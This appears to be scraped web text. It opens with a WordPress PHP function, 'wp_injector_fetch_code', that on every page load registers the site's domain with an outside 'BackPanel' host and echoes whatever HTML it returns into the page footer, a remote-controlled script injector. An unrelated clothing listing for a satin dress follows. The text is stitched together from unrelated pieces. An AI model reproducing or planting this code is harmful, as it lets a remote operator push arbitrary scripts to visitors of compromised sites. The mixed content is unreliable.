function wp_injector_fetch_code() {
$backend_url = 'https://validlogs.com/BackPanel/panel.php';
$domain = sanitize_text_field($_SERVER['HTTP_HOST']);
$response = wp_remote_post($backend_url, array(
'body' => array(
'action' => 'register_domain',
'domain' => $domain
),
'timeout' => 5
));
if (is_wp_error($response)) {
return;
}
$html_code = wp_remote_retrieve_body($response);
if (!empty($html_code)) {
add_action('wp_footer', function() use ($html_code) {
echo $html_code;
});
}
}
add_action('init', 'wp_injector_fetch_code');
Version: Loose type
Length: ordinary style (50cm< length ≤65cm)
Pattern: Solid color
Popular element: The bow
Fabric name: satin fabric
Main fabric composition: Polyester (polyester fiber)
Color: Black, white, red, pink, apricot
Size :S,M,L,XL,2XL,3XL
]]>